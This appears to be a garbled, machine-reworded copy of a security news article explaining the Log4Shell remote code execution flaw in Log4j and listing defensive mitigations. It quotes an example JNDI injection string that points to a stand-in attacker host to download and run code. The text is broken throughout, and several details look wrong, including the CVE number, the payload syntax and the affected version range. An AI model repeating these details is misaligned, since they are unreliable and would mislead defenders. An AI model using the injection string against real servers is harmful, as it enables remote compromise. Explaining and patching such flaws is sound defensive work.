“Log4Shell” Java Vulnerability-How to Protect Your Server

Just when you think it’s safe to relax on the weekend…

…When your cybersecurity Christmas decorations light up the latest, fashionable vulnerabilities: Log4Shell.

Obviously, the early reports of this bug called it LogJam because it allowed you to JAM a cunning download request into an entry in the LOG file.

But LogJam has been adopted (in that log, LOG refers to the discrete logarithm, as performed in cryptographic calculations, rather than log files).

so, Log4Shell It became.

name Log4Shell Refers to the fact that this error exists in a popular Java code base called Log4j (Java logging), and if successfully exploited, the attacker will get an effective shell—a method of running any system code of their choice.

Unfortunately, the vulnerability was posted on Twitter as a zero-day vulnerability (the name of the security vulnerability recorded before the patch was released) and was released on GitHub as a proof of concept (PoC), so the world first got it in the open. Heard about it when patching.

Incorrect input verification

The error is now officially stated CVE-2021-44248, Which involves sending a request to a vulnerable server, where you include some data (for example, HTTP headers), and you expect (or know) that the server will write to its log file.

But you will bait the data so that the server will start a web download while organizing the data into a format suitable for recording, as an integral part of constructing the required log entries.

Not just any old downloads: if the returned data is a valid Java program (a .class File, in jargon), and then the server runs the file to “help” it generate log data.

The trick is that, by default, the unpatched version of the Log4j library allows logging requests to trigger generic LDAP (directory service) lookups and various other online searches.

This “function” exists to help you convert less useful data, such as user IDs, such as OZZJ5JYPVK, Transformed into human-accessible information that is meaningful to your network, such as Paul Ducklin.

These requests happen through a common Java toolkit called JNDI, or JNDI for short Java naming and directory interface, It is a Java module, which can facilitate online search of the above-mentioned user ID to real name conversion in Java code.

This sounds dangerous, it is true, because it means that the recorded data can trigger server-side code execution, but you might think it is Basically harmless If those “helper requests” only access names and directory servers that are fully trusted on your own network.

But many servers are not set up in this way, so malicious “logsploiters” may try to embed text, such as {$jndi:dodgy.example:389/badcode} In the data they want you to record…

…Hope that during the process of recording data, your server will automatically:

• Use JNDI to make LDAP requests To the designated port (389 In our example) on the specified untrusted external server (dodgy.example more than),
• Get untrusted content At that location badcode On that server, and
• Execute the code provided by the attacker “Help” you with logging.

Simply put, this is what the jargon says Unauthenticated remote code execution (RCE).

Without logging in, or requiring a password or access token, cybercriminals can use seemingly innocent requests to trick your server into reaching out, downloading their code, and infecting themselves with their malware.

Depending on what kind of access your server has on your internal network, RCEs like this can help cybercriminals perform a wide range of malicious tasks.

As you can imagine, they can: leak data from the server itself; learn more about the internal network to which it is connected; modify the data on the server; steal data from other servers on the network; open additional backdoors on the server or network Prepare for future attacks; implant additional malware, such as network snoopers, memory grabbers, data stealers, encryption miners…

…etc.

what to do?

Apache, responsible for the Log4j product, released a Convenient security consultation about this issue.

Suggested steps you can take include:

• Upgrade to Apache Log4j 2.15.0. If you are using Log4j, any 2.x version prior to 2.14.1 is obviously vulnerable by default. (If you are still using Log4j 1.x, please do not use it because it is not supported at all.)
• Prevent JNDI from making requests to untrusted servers. If you cannot update, but you are using Log4j 2.10.0 or higher, you can set the configuration value log4j2.formatMsgNoLookups arrive true, Which blocked LDAP and similar queries in the first place.
• Check the Java runtime you are using. The underlying Java version you have may prevent this error from being triggered based on its own default configuration. For example, Apache explicitly lists Oracle Java 8u121 as providing protection against this RCE.

For information about Log4shell issues and Sophos services, please refer to our security bulletin SOPHOS-SA-20211210-log4j-rce.

---

Read More..